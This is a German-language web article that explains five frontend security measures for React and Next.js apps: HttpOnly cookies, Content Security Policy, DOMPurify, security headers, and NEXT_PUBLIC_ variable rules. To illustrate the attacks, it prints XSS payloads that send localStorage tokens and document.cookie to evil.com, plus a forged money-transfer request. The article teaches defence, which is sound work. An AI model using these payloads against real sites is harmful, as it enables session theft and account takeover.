Startseite / Artikel

Fünf Sicherheitsmaßnahmen für die Frontend-Entwicklung, die jede React- und Next.js-Anwendung benötigt

Warum Produktions-React- und Next.js-Anwendungen HttpOnly-Cookies, CSP, DOMPurify, Sicherheits-Header sowie NEXT_PUBLIC_-Regeln verwenden und welche Angriffe jede dieser Maßnahmen verhindert.

Verlag: REACTAPP.TOP8 Min. Lesezeit1873 Wörter

Quellen: 5 Security Practices Senior Frontend Engineers Use in React/Next.js Apps (But Most Developers Ignore)

Es ist verlockend, die Sicherheit als Aufgabe des Backends zu betrachten, doch viele ernsthafte Schwachstellen – von gestohlenen Sessions bis zu durchgesickerten API-Schlüsseln – entstehen im Client-Code. In Produktionsumgebungen mit React- und Next.js-Codebasen finden sich Muster, die auf den ersten Blick überflüssig erscheinen: HttpOnly-Cookies, ungewöhnliche Header in next.config.js, DOMPurify, NEXT_PUBLIC_-Variablen sowie eine Content-Security-Policy. Diese Anleitung erläutert die fünf wichtigsten davon, den jeweiligen von ihnen abgewehrten Angriff sowie die Bedingungen für eine korrekte Anwendung.

1. Schützen Sie Authentifizierungstoken mit HttpOnly-Cookies vor JavaScript

Die Speicherung von Tokenen ist vermutlich die wichtigste Sicherheitsentscheidung im Frontend. Ein gängiger Ansatz besteht darin, das Token in localStorage zu speichern:

localStorage.setItem("token", token);

und es per Hand an jede Anfrage anzuhängen:

fetch("/profile", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

Das funktioniert zwar, lässt das Token aber für jedes auf der Seite ausgeführte Skript lesbar.

Wie XSS zu einem Account-Übernahmeangriff wird

Cross-Site-Scripting (XSS) bedeutet, dass ein Angreifer seinen JavaScript-Code auf Ihrer Website ausführen lässt. Ein typischer Einstiegspunkt ist die Anzeige unzuverlässiger HTML-Inhalte, wie beispielsweise eines Benutzerkomments:

<div dangerouslySetInnerHTML={{ __html: comment }} />

Falls der Angreifer den Script-Code ausführen kann, besteht das Lesen des Tokens nur aus einer einzigen Zeile:

<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>

Genauer gesagt wird ein script-Tag, der über innerHTML eingefügt wird (was von dangerouslySetInnerHTML genutzt wird), nicht ausgeführt; echte Angriffe verwenden stattdessen Event-Handler-Payloads wie die in Abschnitt 3 beschriebene. In jedem Fall ist localStorage einmal der Script-Code läuft, vollständig zugänglich.

Jeder, der über ein Token verfügt, kann sich ohne Passwort anmelden, auf den Account zugreifen, sich als Benutzer ausgeben, Transaktionen durchführen oder auf Admin-Funktionen zugreifen.

Lassen Sie den Browser die Sitzung verwalten

Die gängige Lösung besteht darin, dass der Server die Sitzung in einer Cookie-Datei bereitstellt, die von Skripten nicht erreicht werden kann:

Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict

Jedes Attribut hat eine spezifische Funktion:

  • HttpOnly versteckt das Cookie vor JavaScript: Eine Lektüre durch ein Skript, wie unten gezeigt, liefert keine Daten.
  • Secure beschränkt das Cookie auf HTTPS.
  • SameSite=Strict verhindert, dass der Browser das Cookie bei Anfragen von anderen Seiten sendet – dies ist ein effektiver Schutz gegen Cross-Site-Request-Forgery (CSRF). Strict löscht außerdem das Cookie, wenn Nutzer über Links von anderen Seiten kommen; daher wählen viele Anwendungen Lax.
document.cookie

Es handelt sich dabei um einen Wechsel in der Verantwortung. Früher kontrollierte die Frontend- Seite das Token:

Frontend controls token

Heute übernimmt der Browser diese Aufgabe:

Browser controls token

Ihr Code erstellt nicht mehr bei jedem Aufruf einen solchen Header:

Authorization: Bearer token

denn der Browser fügt das Cookie automatisch hinzu. Anmeldeinformationen gelangen niemals über den Anwendungscode. Für die Serverseite siehe unseren Vergleich von Sessions und JWTs in Node.js.

2. Verhindern Sie das Ausführen von eingefügten Skripten mit einer Content Security Policy

Eine oft übersehene Schutzmaßnahme ist der Header mit dem Namen

Content-Security-Policy

den Next.js-Projekte häufig konfigurieren

next.config.js

Warum HttpOnly-Cookies nicht ausreichen

Nehmen wir an, ein Angreifer schafft es, ein externes Skript einzufügen:

<script src="https://evil.com/hack.js"></script>

Standardmäßig führt der Browser den Code aus. Der Angreifer kann die Cookie nicht lesen, muss es aber auch nicht: Der Skript wird innerhalb Ihres Ursprungsdomains ausgeführt, wodurch seine Anfragen automatisch die Cookies des Benutzers enthalten:

fetch("/send-money", {
  method: "POST",
  body: JSON.stringify({
    amount: 50000,
    to: "hacker",
  }),
});

Die Backend-Plattform erkennt eine authentifizierte Anfrage und verarbeitet den Datenaustausch. Derselbe Zugang ermöglicht weitere Angriffe:

  • Falsche Anmeldungsanfragen. Das Skript zeigt ein offiziell aussehendes Dialogfeld wie im folgenden Text an, und alles, was der Benutzer eingibt, gelangt zum Angreifer.
  • Erzwungene Umleitungen. Die Benutzer werden heimlich auf eine Phishing-Website geleitet, die Ihre nachahmt.
"Session expired. Enter password again."

Eine Allowlist für ausführbaren Code

Content-Security-Policy:
script-src 'self'

'self' bedeutet, dass nur Skripte erlaubt sind, die von Ihrer eigenen Domain bereitgestellt werden. Wenn die Seite auf ein Skript einer anderen Domain stößt, wie zum Beispiel das untenstehende, weigert sich der Browser, es auszuführen:

<script src="evil.com/hack.js"></script>

In Next.js können Sie den Header für jede Route über headers() in der Konfiguration senden:

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "Content-Security-Policy",
            value: "script-src 'self';",
          },
        ],
      },
    ];
  },
};

Betrachten Sie dies als Ausgangspunkt. Ein einfaches script-src 'self' blockiert außerdem inline Skripte, die Next.js zur Hydratierung verwendet, weshalb eine strenge Richtlinie in der Regel Nonces erfordert (prüfen Sie die aktuellen Next.js-Dokumente zur Middleware-Methode). Führen Sie neue Richtlinien zunächst mit Content-Security-Policy-Report-Only ein.

Zwei Ebenen, zwei Zwecke

HttpOnly-Cookies begrenzen den Schaden durch XSS; CSP versucht, das Skript ganz davon abzuhalten, ausgeführt zu werden. Die eigentliche Schutzmaßnahme ergibt sich aus der Kombination beider Ansätze.

3. Sanieren Sie HTML vor der Verwendung von dangerouslySetInnerHTML

React verhindert XSS nur auf seinem Standardrenderingpfad, wo interpolierter Text escaped wird:

<p>{content}</p>

Falls die API einen solchen String zurückgibt, rendernt React ihn als sichtbaren Text anstelle dessen, ihn auszuführen:

<script>alert("hacked")</script>

Die Ausweichlösung ist

dangerouslySetInnerHTML

und React hat absichtlich das Wort

dangerously

in seinen Namen aufgenommen.

Wenn Sie wirklich rohes HTML benötigen

Blogs, CMS-Seiten, Markdown-Ausgaben und Rich-Text-Editor benötigen alle die Renderung von HTML. Angenommen, der Backend gibt Folgendes zurück:

<h1>Frontend Security</h1>
<p>Learn React Security</p>

Seine Renderung durch normale Interpolation:

<p>{content}</p>

zeigt die Tags als reinen Text an. Der Wechsel zur Ausweichlösung erzeugt ordnungsgemäß formatierten Inhalt:

<div dangerouslySetInnerHTML={{
  __html: content
}} />

Es sieht richtig aus – und es handelt sich dabei um einen Einbruchspunkt.

Der Payload, der tatsächlich ausgeführt wird

Ein Angreifer sendet eine solche Markup-Struktur:

<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>

Die Quelle des Bildes ist absichtlich ungültig, die Ladeoperation fehlschlägt und der onerror-Handler führt das JavaScript des Angreifers aus.

Säubern mit DOMPurify

Die übliche Lösung besteht darin, vor der Anzeige zu säubern. Installieren Sie die Bibliothek:

npm install dompurify

Importieren Sie sie:

import DOMPurify from "dompurify";

und säubern Sie den Inhalt, bevor Sie ihn an React weitergeben (im echten Code sollten der sanitize-Aufruf und das return auf separaten Zeilen stehen):

const safeHTML =
DOMPurify.sanitize(content);return (
  <div
    dangerouslySetInnerHTML={{
      __html: safeHTML,
    }}
  />
);

DOMPurify entfernt gefährliche Konstruktionen wie script-Elemente, inline Event-Handler wie onerror und onclick, javascript:-URLs in Links sowie eingefügte Iframes und lässt nur sichere Markup-Strukturen zurück. Auf dem Server existiert kein Browser-DOM, weshalb serverseitig generierter Code eine DOM-Implementierung wie jsdom oder eine Sanitisierung zum Zeitpunkt der Erstellung benötigt.

Nicht vertrauenswürdige Eingaben – Ihr eigenes Backend

Vertrauen Sie niemals Eingaben, selbst nicht solchen aus Ihrer eigenen API; diese Daten stammen in der Regel von einer noch weniger vertrauenswürdigen Quelle:

  • Endbenutzer
  • Admin-Panels
  • CMS-Editor
  • Drittanbieter-APIs
  • Reichtexteditor

4. Browser-Sicherheits-Header, die verborgene Lücken schließen

Viele Produktionskonfigurationen setzen drei Header ein, die leicht übersehen werden:

X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options

Jeder dieser Header blockiert einen anderen Angriff.

X-Frame-Options gegen Clickjacking

Ein Angreifer erstellt eine Seite auf seiner eigenen Domain:

evil.com

und lädt Ihre Website in einem unsichtbaren iframe darauf. Der Benutzer glaubt, er klicke auf

Claim Prize

doch der Klick landet auf Ihrer eigentlichen Schaltfläche darunter:

Transfer ₹50,000

Das ist Clickjacking. Die Lösung besteht darin, das Framing zu verbieten:

X-Frame-Options: DENY

Dann weigert sich der Browser, Ihre Seiten zu framen. Der moderne CSP-Äquivalent ist frame-ancestors 'none'; die Kombination beider Maßnahmen deckt auch ältere Browser ab.

Strict-Transport-Security zur Erzwingung von HTTPS

Auf unzuverlässigen Netzwerken wie öffentlichem Wi-Fi kann einfacher HTTP-Verkehr abgefangen werden, wodurch Passwörter, Sitzungsdaten, einmalige Codes und andere vertrauliche Informationen preisgegeben werden. HSTS weist den Browser an, ausschließlich HTTPS zu verwenden:

Strict-Transport-Security:
max-age=31536000

Sobald ein Browser dieses Header gesehen hat, wird selbst eine eingegebene Adresse wie

http://example.com

automatisch in

https://example.com

umgewandelt, bevor eine Anfrage den Rechner verlässt. Der Wert von max-age beträgt ein Jahr. Der Browser lernt diese Regel nur über HTTPS kennen, sodass ein erster Besuch ungeschützt bleibt, es sei denn, die Domain wurde im Voraus geladen.

X-Content-Type-Options gegen MIME-Sniffing

Browser haben historisch versucht, den tatsächlichen Typ einer Datei zu erraten. Wenn der Server angibt

Content-Type: image/jpeg

aber die Datei tatsächlich Skripte enthält, könnte ein solcher Browser sie als ausführbar behandeln. Um dieses Verhalten zu unterbinden, gibt es einen bestimmten Header:

X-Content-Type-Options:
nosniff

Er weist den Browser an, dem deklarierten Content-Type zu vertrauen und auf weitere Vermutungen zu verzichten.

Einstellen aller drei Header in Next.js

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "X-Frame-Options",
            value: "DENY",
          },
          {
            key:
              "Strict-Transport-Security",
            value:
              "max-age=31536000",
          },
          {
            key:
              "X-Content-Type-Options",
            value: "nosniff",
          },
        ],
      },
    ];
  },
};

Diese Header kosten fast nichts und schützen vor ganzen Kategorien von Angriffen.

5. Trennen Sie Server-Geheimnisse von im Browser sichtbaren Umgebungsvariablen

Das Ausschließen von .env aus Git macht Geheimnisse nicht sicher. Entscheidend ist, was schließlich im JavaScript-Bundle landet.

Wie Geheimnisse in den Bundle gelangen

Nehmen wir eine Variable wie diese:

SECRET_KEY=abc123

aus dem Client-Seitencod referenziert:

console.log(
 process.env.SECRET_KEY
);

Wenn ein Bundler Umgebungsvariablen zur Build-Zeit einbindet, enthält der bereitgestellte Code den wörtlichen Wert:

console.log("abc123");

Jeder kann diesen Wert in den Entwicklertools einsehen. Next.js schützt vor solchen Fällen: Variablen ohne das Präfix NEXT_PUBLIC_ werden nicht in den Browser-Code eingebunden und gelten dort als undefined. Lecks entstehen, wenn ein Geheimnis das öffentliche Präfix erhält, um einen Fehler zu verbergen, oder wenn ein Server-Komponent es als Eigenschaft an eine Client-Komponente weitergibt.

Das NEXT_PUBLIC_-Konzept

Nur Variablen, deren Namen mit

NEXT_PUBLIC_

beginnen, werden in die Browser-Build-Version eingebettet. Ein solcher Wert ist zur Offenlegung geeignet:

NEXT_PUBLIC_API_URL=
https://api.com

und kann im Client-Code wie folgt gelesen werden:

process.env
.NEXT_PUBLIC_API_URL

denn eine API-URL ist ohnehin öffentlich.

Was auf keinen Fall öffentlich sein darf

Diese gehören ausschließlich auf den Server:

JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS

Eine typische Produktionsumgebung

Das Repository enthält keine .env-Datei, da diese in .gitignore aufgeführt ist:

.env

Reale Werte werden zum Zeitpunkt der Erstellung oder Bereitstellung durch das CI/CD-System oder die Hosting-Plattform eingefügt. Nur NEXT_PUBLIC_-Werte erreichen den Browser-Bundle; alles andere bleibt auf dem Server.

Die zu merkende Regel: Wenn der Browser auf einen Wert zugreifen kann, ist er öffentlich. Kein Frontend-Geheimnis ist tatsächlich geheim.

Kernpunkte

Die Sicherheit des Frontends besteht darin, die Angriffsfläche schrittweise zu verringern und eine Ausnutzung erschweren.

  1. HttpOnly-Cookies schützen Session-Tokens vor eingefügten Skripten.
  2. Eine Content Security Policy verhindert das Ausführen unautorisierter Skripte, erfordert jedoch Nonces, um mit Next.js-Inline-Skripten zusammenzuarbeiten.
  3. DOMPurify macht dangerouslySetInnerHTML für Inhalte, die man nicht selbst geschrieben hat, sicher.
  4. Sicherheits-Header blockieren Clickjacking, Protokollherabstufungen sowie MIME-Sniffing mit nahezu keinem Aufwand.
  5. Die NEXT_PUBLIC_-Grenze bestimmt, was an den Browser gesendet wird – betrachten Sie daher dieses Präfix als Entscheidung für die Veröffentlichung.

Durch das Wissen darüber, welche Angriffe jedes Konzept verhindert, können Sie es richtig konfigurieren und erkennen, wenn eines fehlt.